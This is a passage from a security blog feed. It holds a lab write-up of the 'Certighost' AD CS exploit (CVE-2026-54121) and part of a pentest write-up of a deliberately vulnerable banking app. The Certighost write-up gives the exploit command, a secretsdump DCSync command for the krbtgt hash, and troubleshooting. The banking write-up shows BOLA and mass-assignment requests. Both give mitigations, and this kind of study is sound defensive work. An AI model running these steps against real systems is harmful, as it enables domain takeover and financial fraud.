</table>]]></content><author><name>0x5h4q</name></author><category term="HackTheBox" /><category term="Active Directory" /><category term="htb" /><category term="active-directory" /><category term="smb-enumeration" /><category term="rid-brute-force" /><category term="credential-reuse" /><category term="backup-operators" /><category term="sebackupprivilege" /><category term="secretsdump" /><category term="pass-the-hash" /><category term="netexec" /><category term="evil-winrm" /><category term="windows" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Certighost: How CVE-2026-54121 Turns a Domain User Into a Domain Controller</title><link href="https://0x5h4q.github.io/concepts/active%20directory/red%20team/Certighost-writeup/" rel="alternate" type="text/html" title="Certighost: How CVE-2026-54121 Turns a Domain User Into a Domain Controller" /><published>2026-07-29T00:00:00+01:00</published><updated>2026-07-29T00:00:00+01:00</updated><id>https://0x5h4q.github.io/concepts/active%20directory/red%20team/Certighost-writeup</id><content type="html" xml:base="https://0x5h4q.github.io/concepts/active%20directory/red%20team/Certighost-writeup/"><![CDATA[<style>
p { text-align: justify; }
</style>

<h1 id="certighost-how-cve-2026-54121-turns-a-domain-user-into-a-domain-controller">Certighost: How CVE-2026-54121 Turns a Domain User Into a Domain Controller</h1>

<p><strong>CVE:</strong> CVE-2026-54121 (Certighost)
<strong>Patched:</strong> July 14, 2026
<strong>OS:</strong> Windows Server 2025
<strong>Topics:</strong> AD CS, Certificate Abuse, Privilege Escalation, DCSync, PKINIT</p>

<hr />

<h2 id="overview">Overview</h2>

<p>TODAY’S TOPIC IS WAFFLES!!! (^o^)/</p>

<p>Every few months something drops that makes the AD CS attack surface feel like it just got wider. Certipy and the ESC series taught the community to look for misconfigured templates, weak enrollment rights, manager approval left unchecked. The assumption across all of those was that something had to be wrong before you could exploit it.</p>

<p>CVE-2026-54121, nicknamed Certighost, does not need anything to be wrong. No bad template, no excessive enrollment right, nothing misconfigured. It attacks the CA’s own identity resolution logic directly, and on a default install, that logic already trusts the wrong thing.</p>

<p>Reported by Aniq Fakhrul and Muhammad Ali. PoC dropped July 24. CVSS 8.8. I built a lab and ran this end to end, and this post covers both the technical breakdown and the actual process of getting there, including all the environment issues I hit along the way.</p>

<hr />

<h2 id="how-the-chase-works">How the Chase Works</h2>

<p>Enterprise CAs sometimes need to resolve who is actually requesting a certificate, especially in cross-DC enrollment scenarios where the requester’s identity is not sitting directly in front of the CA. Microsoft built a fallback for this called the chase. The CA reaches out to another host to fetch the identity it needs.</p>

<p>Two attributes in the cert request steer this chase, and both are attacker controlled:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">cdc</code> (Client DC): the host the CA should contact</li>
  <li><code class="language-plaintext highlighter-rouge">rmd</code> (Remote Domain): the principal the CA should look up</li>
</ul>

<p>Supply both, point <code class="language-plaintext highlighter-rouge">cdc</code> at a machine you control, and the CA opens SMB and LDAP connections to your machine, asks it about the principal named in <code class="language-plaintext highlighter-rouge">rmd</code>, and takes the answer at face value when building your certificate.</p>

<hr />

<h2 id="where-it-actually-breaks">Where It Actually Breaks</h2>

<p>The rogue chase host still has to authenticate to the CA before any of this matters. That should be the part that saves you. It is not, because of one detail that is on by default: <code class="language-plaintext highlighter-rouge">ms-DS-MachineAccountQuota</code>. Set to 10 by default, meaning any authenticated domain user can create a computer account with zero additional privilege.</p>

<p>That is your rogue chase host. You spin it up, point the CA’s chase at it via <code class="language-plaintext highlighter-rouge">cdc</code>, and when the CA comes knocking, your ghost machine account authenticates cleanly through the real DC over Netlogon. Then it lies. Instead of answering with its own identity, it hands back the sAMAccountName, SID, and dNSHostName of whatever DC you named in <code class="language-plaintext highlighter-rouge">rmd</code>.</p>

<p>The CA has no reason to question it. It resolved a valid domain principal through a valid channel. So it signs a certificate, except the identity baked into that certificate belongs to a Domain Controller.</p>

<p>From there the chain is short. PKINIT the cert to get Kerberos credentials for the DC’s machine account. Since DCs hold directory replication rights, DCSync straight to the krbtgt hash. Standard domain user, to ghost machine account, to CA-signed DC certificate, to full domain compromise. No template abuse, no misconfiguration, nothing unusual about the install.</p>

<hr />

<h2 id="lab-setup">Lab Setup</h2>

<p>Two VMs: a Windows Server 2025 box running AD DS and AD CS as an Enterprise Root CA (hostname WAFFLES, domain KING.local, CA name KING-WAFFLES-CA), and Kali as the attacker. (Waffles is a nickname for a special someone (✿◠‿◠) )</p>

<p>Certighost specifically needs an Enterprise CA, not Standalone. The chase behavior is tied to domain-integrated cert issuance. Verify with:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">certutil</span><span class="w"> </span><span class="nt">-CAInfo</span><span class="w">
</span></code></pre></div></div>

<p>Look for <code class="language-plaintext highlighter-rouge">CA type: 0 -- Enterprise Root CA</code>. Also confirm <code class="language-plaintext highlighter-rouge">EDITF_ENABLECHASECLIENTDC</code> is present in the EditFlags:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">certutil</span><span class="w"> </span><span class="nt">-getreg</span><span class="w"> </span><span class="nx">policy\EditFlags</span><span class="w">
</span></code></pre></div></div>

<p>If that flag is missing, the chase fallback is disabled and this exploit path does not exist on that CA. On my unpatched Server 2025 box it was enabled by default.</p>

<p>For networking, both VMs need to be on the same subnet. VirtualBox’s plain NAT mode isolates each VM behind its own virtual router even when the IP ranges look identical, so switch both to Bridged Adapter in VM settings. Also worth checking that the DC does not have a hardcoded static IP from a previous lab setup that does not match the new subnet.</p>

<hr />

<h2 id="getting-the-poc-running">Getting the PoC Running</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/aniqfakhrul/CVE-2026-54121
<span class="nb">cd </span>CVE-2026-54121
</code></pre></div></div>

<p>The full dependency list from the import block: <code class="language-plaintext highlighter-rouge">impacket</code> (core plus <code class="language-plaintext highlighter-rouge">dcerpc.v5.nrpc</code>, <code class="language-plaintext highlighter-rouge">krb5.pac</code>, <code class="language-plaintext highlighter-rouge">krb5.ccache</code>, <code class="language-plaintext highlighter-rouge">ldap</code>), <code class="language-plaintext highlighter-rouge">pyasn1</code>, <code class="language-plaintext highlighter-rouge">cryptography</code>, <code class="language-plaintext highlighter-rouge">asn1crypto</code>, <code class="language-plaintext highlighter-rouge">pycryptodomex</code>. Kali ships most of these. The problem is Impacket.</p>

<p>The script requires a class called <code class="language-plaintext highlighter-rouge">smbserver.NetLogon</code> that was added very recently to Impacket’s main branch. The distro-packaged version on Kali, even a <code class="language-plaintext highlighter-rouge">0.14.0.dev0</code> build, may not have it depending on when your system last pulled. The PoC tells you directly if this is the case:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[DEBUG] Rogue LSA/SMB preflight: installed Impacket lacks smbserver.NetLogon;
        the rogue SMB server cannot obtain the authenticated session key, so
        the CA callback is expected to fail
</code></pre></div></div>

<p>When this message appears, the Netlogon exchange will fail at the session key step, the CA will get an RPC error, and you will see <code class="language-plaintext highlighter-rouge">Denied by Policy Module</code> every run regardless of what you change on the CA side. The fix is pulling Impacket fresh from GitHub:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> ~
git clone https://github.com/fortra/impacket
</code></pre></div></div>

<p>Then install it into a venv inside the exploit directory. This is important because <code class="language-plaintext highlighter-rouge">sudo python3</code> resets your environment and loads root’s system Python instead of your user install. A venv with an explicit path bypasses that entirely:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> ~/CVE-2026-54121
python3 <span class="nt">-m</span> venv venv <span class="nt">--system-site-packages</span>
<span class="nb">source </span>venv/bin/activate
pip <span class="nb">install</span> ~/impacket <span class="nt">--no-build-isolation</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">--system-site-packages</code> means the venv inherits your existing cryptography and ASN1 libraries so pip does not try to download them. <code class="language-plaintext highlighter-rouge">--no-build-isolation</code> uses your system’s existing setuptools instead of fetching one from PyPI.</p>

<p>Verify the right Impacket is loading:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s2">"from impacket import smbserver; import inspect; print(inspect.getsourcefile(smbserver.NetLogon))"</span>
</code></pre></div></div>

<p>The path should point into <code class="language-plaintext highlighter-rouge">~/CVE-2026-54121/venv/</code>. If it still points to <code class="language-plaintext highlighter-rouge">/usr/lib/python3/dist-packages</code>, the venv is not being picked up correctly.</p>

<hr />

<h2 id="running-the-exploit">Running the Exploit</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-E</span> venv/bin/python3 certighost.py <span class="nt">-d</span> king.local <span class="nt">-u</span> URUFUS <span class="nt">-p</span> <span class="s1">'Password1234!'</span> <span class="nt">--dc-ip</span> 192.168.1.50 <span class="nt">--debug</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">-E</code> preserves your current environment through the sudo privilege escalation so the venv stays in scope. Without it, sudo resets PATH and PYTHONPATH back to root’s defaults, which loads the system Impacket and puts you right back to the NetLogon preflight failure.</p>

<p>What the script does step by step:</p>

<ol>
  <li>Authenticates to LDAPS as the low-priv user and enumerates the domain to find the CA and target DC automatically</li>
  <li>Creates a ghost computer account (<code class="language-plaintext highlighter-rouge">GHOSTXXXXXX$</code>) via SAMR using the low-priv user’s MachineAccountQuota allowance</li>
  <li>Starts rogue SMB (port 445) and LDAP (port 389) listeners on the attacker machine</li>
  <li>Submits a certificate request as the ghost account with <code class="language-plaintext highlighter-rouge">cdc</code> pointing at Kali and <code class="language-plaintext highlighter-rouge">rmd</code> set to the target DC’s DNS name</li>
  <li>The CA connects back to Kali’s rogue SMB listener to validate the ghost account identity</li>
  <li>The rogue listener authenticates the ghost account through the real DC over Netlogon, then feeds back the DC’s sAMAccountName, SID, and dNSHostName instead</li>
  <li>The CA issues a certificate for the DC</li>
  <li>PKINIT with that cert yields a <code class="language-plaintext highlighter-rouge">.pfx</code>, <code class="language-plaintext highlighter-rouge">.ccache</code>, and the DC’s NT hash</li>
</ol>

<p>The debug output at the moment it works:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[DEBUG] Rogue SMB NetLogon: validating KING\WAFFLES$ (ParameterControl=0x820)
[DEBUG] Rogue SMB NetLogon: validation returned NTSTATUS 0x00000000 (STATUS_SUCCESS)
[DEBUG] Netlogon: secure channel established
[DEBUG] CA RPC: request_id=19, disposition=3 (CR_DISP_ISSUED)
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">CR_DISP_ISSUED</code> means the cert was issued. Then:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[*] Requesting certificate (template=Machine, cdc=192.168.1.175)
    Saved: waffles.pfx
[*] PKINIT as WAFFLES$
[*] Got hash for WAFFLES$:
    WAFFLES$:aad3b435b51404eeaad3b435b51404ee:[REDACTED]
    ccache: waffles.ccache
[*] GGWP
</code></pre></div></div>

<p><img src="/assets/images/hash.png" alt="WAFFLES" /></p>

<hr />

<h2 id="dcsync">DCSync</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>waffles.ccache
impacket-secretsdump <span class="nt">-hashes</span> aad3b435b51404eeaad3b435b51404ee:[REDACTED] <span class="s1">'KING.local/WAFFLES$@192.168.1.50'</span> <span class="nt">-just-dc-user</span> krbtgt
</code></pre></div></div>

<p>krbtgt hash out. Full domain ownership. Every Kerberos ticket in the forest can now be forged, every account impersonated, and the access persists across password resets until krbtgt itself is rotated twice.</p>

<p><img src="/assets/images/krgbt.png" alt="KRGBT" /></p>

<hr />

<h2 id="a-note-on-the-poc-timeline">A Note on the PoC Timeline</h2>

<p>The README has a timeline section worth reading. Two fixes landed on July 28, the same day I was working through this.</p>

<p>The first, from GregDurys, fixed <code class="language-plaintext highlighter-rouge">STATUS_NOLOGON_SERVER_TRUST_ACCOUNT</code> errors that appeared when the CA was hosted on the same machine as the DC. The fix is an in-script hotpatch of the rogue SMB NetLogon path, setting the E bit (<code class="language-plaintext highlighter-rouge">0x20</code>) alongside the K bit (<code class="language-plaintext highlighter-rouge">0x800</code>) in <code class="language-plaintext highlighter-rouge">ParameterControl</code> per MS-NRPC spec. Without this, the Netlogon exchange cuts short mid-handshake and the CA returns <code class="language-plaintext highlighter-rouge">RPC_S_SERVER_UNAVAILABLE</code>. If you watch the traffic with tcpdump during a failing run, you will see the CA actually connecting back to Kali on port 445 and exchanging packets, then sending a TCP RST after a few hundred bytes. That is the session key step failing.</p>

<p>The second, from Hack0ura, fixed a <code class="language-plaintext highlighter-rouge">KDC_ERR_CLIENT_NAME_MISMATCH</code> that appears during the PKINIT step on CAs with <code class="language-plaintext highlighter-rouge">EDITF_ATTRIBUTESUBJECTALTNAME2</code> enabled. The cert request now sets the SAN to the target DC’s DNS name instead of the ghost account’s.</p>

<p>Both patches are in the current version of the repo. Pull fresh before running.</p>

<hr />

<h2 id="mitigations">Mitigations</h2>

<p><strong>Patch.</strong> The July 14, 2026 update validates the chase target before the lookup runs. This is the actual fix.</p>

<p><strong>Disable the chase fallback if you cannot patch immediately.</strong> It is optional and not required for standard certificate enrollment:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">certutil</span><span class="w"> </span><span class="nt">-setreg</span><span class="w"> </span><span class="nx">policy\EditFlags</span><span class="w"> </span><span class="nt">-EDITF_ENABLECHASECLIENTDC</span><span class="w">
</span><span class="n">Restart-Service</span><span class="w"> </span><span class="nx">CertSvc</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span></code></pre></div></div>

<p><strong>Audit issued certificates.</strong> Check the CA’s issued cert log for Machine template certs issued to computer accounts with random-character names like <code class="language-plaintext highlighter-rouge">GHOSTXXXXXX$</code>, especially around the DC’s SID or DNS name in the subject. That pattern is a direct indicator of exploitation attempts.</p>

<p><strong>Reduce MachineAccountQuota.</strong> Default is 10. If your environment does not need domain users creating machine accounts, set it to 0. This removes a building block that multiple AD abuse techniques rely on, not just this one:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Set-ADObject</span><span class="w"> </span><span class="nt">-Identity</span><span class="w"> </span><span class="p">(</span><span class="n">Get-ADDomain</span><span class="p">)</span><span class="o">.</span><span class="nf">DistinguishedName</span><span class="w"> </span><span class="o">-Replace</span><span class="w"> </span><span class="p">@{</span><span class="s2">"ms-DS-MachineAccountQuota"</span><span class="o">=</span><span class="mi">0</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Treat AD CS as Tier 0.</strong> CA compromise and DC compromise have equivalent blast radius. If your CA host is not already isolated with the same access controls and monitoring as your domain controllers, this is the reminder.</p>

<hr />

<h2 id="what-did-we-learn">What Did We Learn?</h2>

<p><strong>1. The ESC series needed misconfiguration. Certighost does not.</strong>
Every previous AD CS attack technique required something to be wrong first. A bad template, an excessive right, something left unchecked. Certighost attacks the CA’s identity resolution logic itself, which works exactly as designed. The design just assumed it would never be talking to a rogue listener controlled by a low-priv domain user.</p>

<p><strong>2. MachineAccountQuota is a building block for more than just RBCD attacks.</strong>
It shows up in resource-based constrained delegation abuse, shadow credentials, and now Certighost. A default of 10 means any domain user can create 10 computer accounts with zero admin rights. If your environment does not need that, turn it off.</p>

<p><strong>3. Bleeding edge CVEs need bleeding edge tooling.</strong>
The distro-packaged Impacket on Kali was missing <code class="language-plaintext highlighter-rouge">smbserver.NetLogon</code>. The system-packaged version and the GitHub main branch are not always the same thing, even when both show <code class="language-plaintext highlighter-rouge">0.14.0.dev0</code> in pip. When a PoC fails with a preflight warning about a missing class, pulling the dependency from source and isolating it in a venv with <code class="language-plaintext highlighter-rouge">sudo -E</code> and an explicit Python path is the cleanest way to eliminate the environment ambiguity.</p>

<p><strong>4. The packet capture tells you more than the tool output does.</strong>
The generic “Denied by Policy Module” error was misleading. It looked like a CA policy rejection. Watching the actual traffic with tcpdump showed the CA was connecting back to Kali, sending data, then RST-ing mid-Netlogon. That pointed directly to the session key issue in the rogue SMB listener, which pointed to the missing <code class="language-plaintext highlighter-rouge">NetLogon</code> class. Learn to read the packets when the tool output is not telling you enough.</p>

<p><strong>5. PoC code evolves fast after initial release.</strong>
Two meaningful fixes landed on the Certighost repo within four days of publication. The gap between “PoC published” and “PoC reliably works against real targets” is often measured in days, not months. Checking the commit history and timeline section before running anything is always worth doing.</p>

<hr />

<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExNjFxOGhuNWt2bXlzbWV0YXJzZ2xlZjgybTYzZGR3anBndm1rNWd5YSZlcD12MV9naWZzX3NlYXJjaCZjdD1n/YMjcK0msirRvfyaSpu/giphy.gif" style="width: 100%; height: auto;" alt="pwned" />
<em>Written by 0x5h4q | <a href="https://0x5h4q.github.io">0x5h4q.github.io</a></em></p>]]></content><author><name>0x5h4q</name></author><category term="Concepts" /><category term="Active Directory" /><category term="Red Team" /><category term="ad-cs" /><category term="active-directory" /><category term="kerberos" /><category term="cve" /><category term="privilege-escalation" /><category term="pkinit" /><category term="dcsync" /><category term="certificate-abuse" /><category term="windows-server-2025" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">VulnBank Series #2 — BOLA, Mass Assignment, Broken Transaction Logic &amp;amp; Weak Password Reset</title><link href="https://0x5h4q.github.io/vulnbank/web%20security/VulnBank-Part2-writeup/" rel="alternate" type="text/html" title="VulnBank Series #2 — BOLA, Mass Assignment, Broken Transaction Logic &amp;amp; Weak Password Reset" /><published>2026-07-16T00:00:00+01:00</published><updated>2026-07-16T00:00:00+01:00</updated><id>https://0x5h4q.github.io/vulnbank/web%20security/VulnBank-Part2-writeup</id><content type="html" xml:base="https://0x5h4q.github.io/vulnbank/web%20security/VulnBank-Part2-writeup/"><![CDATA[<style>
p { text-align: justify; }
</style>

<p><strong>Target:</strong> VulnBank — Deliberately Vulnerable Banking Application<br />
<strong>Series:</strong> VulnBank Pentest Mini-Series<br />
<strong>Post:</strong> 2 of idk yet ヽ(´ー｀)ﾉ
<strong>Scope:</strong> <code class="language-plaintext highlighter-rouge">http://localhost:5000</code></p>

<hr />

<h2 id="quick-recap">Quick Recap</h2>

<p>Post 1 covered the initial access findings: unauthenticated Swagger docs exposing the full API surface, SQL injection bypassing the entire login mechanism, a weak JWT secret enabling token forgery, and stored XSS chained with localStorage token exposure for admin account takeover.</p>

<p>Post 2 goes deeper into the authenticated attack surface. With a valid session in hand, the real damage begins…and in a banking application, that damage has a very direct financial meaning.</p>

<hr />

<h2 id="finding-vb-005--broken-object-level-authorization-bola">Finding VB-005 — Broken Object Level Authorization (BOLA)</h2>

<p><strong>Severity:</strong> High<br />
<strong>CVSS:</strong> 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)<br />
<strong>CWE:</strong> CWE-639 Authorization Bypass Through User-Controlled Key<br />
<strong>OWASP:</strong> A01:2021 Broken Access Control</p>

<h3 id="what-happened">What Happened</h3>

<p>Five API endpoints accept object identifiers directly from the URL path —&gt; account numbers, user IDs, card IDs, without ever checking whether the authenticated user actually owns that resource. Changing the number in the URL is enough to access anyone else’s data.</p>

<p>This is BOLA in its most classic form: the API trusts the client to only request what belongs to them. It does not verify that trust at the server.</p>

<h3 id="confirmed-vulnerable-endpoints">Confirmed Vulnerable Endpoints</h3>

<p><strong>Data access:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /check_balance/{account_number}
GET /transactions/{account_number}
GET /api/v3/user/{user_id}
GET /api/virtual-cards/{card_id}/transactions
</code></pre></div></div>

<p><strong>Actions:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /api/virtual-cards/{card_id}/toggle-freeze
</code></pre></div></div>

<h3 id="reproducing-it">Reproducing It</h3>

<p>Logged in as a standard user with user ID 2. Sent a balance request for the admin account:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /check_balance/ADMIN001
</code></pre></div></div>

<p>Response came back with the admin’s balance — $1,000,000.00. No authorization error. No indication the server questioned whether user ID 2 should be reading the admin’s balance.</p>

<p>Then pulled the full admin profile:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /api/v3/user/1
</code></pre></div></div>

<p>Response returned username, balance, and <code class="language-plaintext highlighter-rouge">"is_admin": true</code> for the admin account. From a standard user session.</p>

<p><strong>BOLA — Accessing Admin Balance from Standard User Account:</strong>
<img src="/assets/images/VULNBANK/check-balance.png" alt="BOLA — standard user accessing admin balance" /></p>

<p><strong>BOLA — Accessing Admin Full User Profile (via API v3):</strong>
<img src="/assets/images/VULNBANK/transactions.png" alt="BOLA — admin profile returned to standard user" /></p>

<p><strong>BOLA — Accessing full admin profile with is_admin flag exposed:</strong>
<img src="/assets/images/VULNBANK/v3.png" alt="BOLA — full admin profile with is_admin flag exposed" /></p>

<p>For the card endpoints, created a second user account (<code class="language-plaintext highlighter-rouge">0x5h4q</code>, user ID 3) with a virtual card (card ID 2). Then from the original session as <code class="language-plaintext highlighter-rouge">qxvat7r</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /api/virtual-cards/2/toggle-freeze
</code></pre></div></div>

<p>Response: <code class="language-plaintext highlighter-rouge">"Card frozen successfully"</code> — froze another user’s card from a completely different account.</p>

<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExemd3cW9ma3R3ZzNqODl1dDh0eHFldHNqOWRjejZvcTVjdXhnZ3h0MSZlcD12MV9naWZzX3NlYXJjaCZjdD1n/ep78UZy5FVbfN6mhCU/giphy.gif" style="width: 100%; height: auto;" alt="pwned" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /api/virtual-cards/2/transactions
</code></pre></div></div>

<p>Returned the full transaction history for a card that doesn’t belong to the requesting user.</p>

<p><strong>BOLA — Freezing Another User’s Virtual Card (qxvat7r freezing 0x5h4q’s card):</strong>
<img src="/assets/images/VULNBANK/toggle-freeze.png" alt="BOLA — freezing another user's virtual card" /></p>

<p><img src="/assets/images/VULNBANK/freeze.png" alt="BOLA — freezing another user's card" /></p>

<p><strong>BOLA — Accessing Another User’s Card Transactions:</strong>
<img src="/assets/images/VULNBANK/shaq-transac.png" alt="BOLA — card transaction history from another user" /></p>

<p><strong>BOLA — Full Card Transactions Data Exposed:</strong>
<img src="/assets/images/VULNBANK/shaq-card-id.png" alt="BOLA — full card transaction data exposed" /></p>

<h3 id="impact">Impact</h3>

<p>Any authenticated user can enumerate account numbers and user IDs to access the entire user base’s financial data. Combined with the transaction history access, an attacker builds a complete picture of every account; balances, transfer history, card activity, etc…across the whole platform. The card freeze is a denial-of-service primitive against any user.</p>

<h3 id="remediation">Remediation</h3>

<p>Server-side ownership verification on every object-level endpoint. Before returning data or performing an action, confirm the authenticated user’s ID matches the resource owner. Use UUIDs instead of sequential identifiers to make enumeration harder. Centralize the authorization check in middleware rather than implementing it per-endpoint.</p>

<hr />

<h2 id="finding-vb-006--mass-assignment-and-excessive-data-exposure">Finding VB-006 — Mass Assignment and Excessive Data Exposure</h2>

<p><strong>Severity:</strong> High<br />
<strong>CVSS:</strong> 8.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)<br />
<strong>CWE:</strong> CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes + CWE-200 Exposure of Sensitive Information<br />
<strong>OWASP:</strong> A04:2021 Insecure Design / A01:2021 Broken Access Control</p>

<h3 id="what-happened-1">What Happened</h3>

<p>Two separate problems, both serious, both touching the virtual card system.</p>

<p><strong>Mass Assignment:</strong> The card update endpoints blindly pass every field from the request body directly into the database UPDATE statement. An attacker can inject any column name into the request and the application will attempt to update it. The database errors themselves confirm the fields were processed.</p>

<p><strong>Excessive Data Exposure:</strong> The card creation and listing endpoints return full unmasked 16-digit card numbers (PAN) and CVV codes in the API response. This is a direct PCI-DSS violation. CVV must never be stored after initial verification. PAN must be masked in all displays.</p>

<h3 id="mass-assignment--card-limit-update">Mass Assignment — Card Limit Update</h3>

<p>Sent an update request with unauthorized fields injected:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST</span><span class="w"> </span><span class="err">/api/virtual-cards/</span><span class="mi">1</span><span class="err">/update-limit</span><span class="w">
</span><span class="p">{</span><span class="w">
  </span><span class="nl">"card_limit"</span><span class="p">:</span><span class="w"> </span><span class="mi">999999</span><span class="p">,</span><span class="w">
  </span><span class="nl">"is_admin"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Response included the database error:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"column \"is_admin\" of relation \"virtual_cards\" does not exist"
</code></pre></div></div>

<p>The error confirms the application attempted to execute <code class="language-plaintext highlighter-rouge">UPDATE virtual_cards SET is_admin = true</code>. The column did not exist, so it errored — but if it had existed, the update would have succeeded.</p>

<p>Tried financial fields next:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"limit"</span><span class="p">:</span><span class="w"> </span><span class="mi">50000</span><span class="p">,</span><span class="w">
  </span><span class="nl">"card_number"</span><span class="p">:</span><span class="w"> </span><span class="s2">"9999999999999999"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"balance"</span><span class="p">:</span><span class="w"> </span><span class="mi">1000000</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Again the SQL error confirmed all three fields were processed in the UPDATE statement.</p>

<p><strong>Mass Assignment — is_admin Field Accepted by Card Limit Update:</strong><br />
<img src="/assets/images/VULNBANK/is_admin.png" alt="Mass Assignment — is_admin field accepted and processed" /></p>

<p><strong>Mass Assignment — Multiple Financial Fields Injected into UPDATE Statement:</strong><br />
<img src="/assets/images/VULNBANK/Screenshot_2026-07-16-044242.png" alt="Mass Assignment — multiple financial fields injected into UPDATE" /></p>

<h3 id="mass-assignment--card-funding-exchange-rate">Mass Assignment — Card Funding Exchange Rate</h3>

<p>Funded a card with a manipulated exchange rate:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST</span><span class="w"> </span><span class="err">/api/virtual-cards/</span><span class="mi">1</span><span class="err">/fund</span><span class="w">
</span><span class="p">{</span><span class="w">
  </span><span class="nl">"amount"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
  </span><span class="nl">"exchange_rate"</span><span class="p">:</span><span class="w"> </span><span class="mi">1000000</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The application accepted and processed the user-supplied <code class="language-plaintext highlighter-rouge">exchange_rate</code> field with no validation. Client-controlled currency conversion means an attacker can credit any card with an arbitrarily inflated balance by supplying a fake exchange rate.</p>

<h3 id="excessive-data-exposure">Excessive Data Exposure</h3>

<p>Created a virtual card and inspected the response:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"card_number"</span><span class="p">:</span><span class="w"> </span><span class="s2">"4532871234567890"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"cvv"</span><span class="p">:</span><span class="w"> </span><span class="s2">"847"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"expiry_date"</span><span class="p">:</span><span class="w"> </span><span class="s2">"07/29"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Full PAN, full CVV, expiry — everything needed for card-not-present fraud, returned in plaintext in the API response. The card listing endpoint did the same for every card in the account.</p>

<p><strong>Excessive Data Exposure — Full PAN, CVV, and Expiry in Card Creation Response:</strong><br />
<img src="/assets/images/VULNBANK/full-pan.png" alt="Excessive Data Exposure — full PAN and CVV in card creation response" /></p>

<p><strong>Excessive Data Exposure — Full Card Details Unmasked in Card List Response:</strong><br />
<img src="/assets/images/VULNBANK/full-card.png" alt="Excessive Data Exposure — full card details in listing response" /></p>

<h3 id="impact-1">Impact</h3>

<p>Mass Assignment means an attacker who understands the database schema can overwrite any column on the virtual cards table; i.e balances, card numbers, admin flags, anything. The exchange rate manipulation provides direct financial gain: fund a card with $1 at a fake exchange rate of 1,000,000 and credit the card balance with $1,000,000.</p>

<p>The excessive data exposure is a PCI-DSS violation at baseline. Combined with BOLA (VB-005), an attacker can enumerate every card in the system and retrieve complete card details for all users in a single enumeration pass.</p>

<h3 id="remediation-1">Remediation</h3>

<p>For Mass Assignment: implement explicit allowlists per endpoint using DTOs or schema validation (Marshmallow or Pydantic). Only the fields defined in the allowlist should reach the database. Reject requests containing any unexpected field.</p>

<p>For Excessive Data Exposure: mask all PANs in responses (return only the last 4 digits). Never return CVV in any response after initial card creation. Never store CVV after authorization — PCI-DSS Requirement 3.2 is unambiguous on this.</p>

<hr />

<h2 id="finding-vb-007--insufficient-transaction-validation">Finding VB-007 — Insufficient Transaction Validation</h2>

<p><strong>Severity:</strong> Critical<br />
<strong>CVSS:</strong> 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H)<br />
<strong>CWE:</strong> CWE-20 Improper Input Validation + CWE-841 Improper Enforcement of Behavioral Workflow<br />
<strong>OWASP:</strong> A03:2021 Injection / A04:2021 Insecure Design</p>

<h3 id="what-happened-2">What Happened</h3>

<p>The money transfer endpoint at <code class="language-plaintext highlighter-rouge">/transfer</code> performs no validation on the transaction amount. Negative amounts are accepted and processed. The sign of the amount flips the direction of the transaction; debiting the recipient and crediting the sender instead of the other way around.</p>

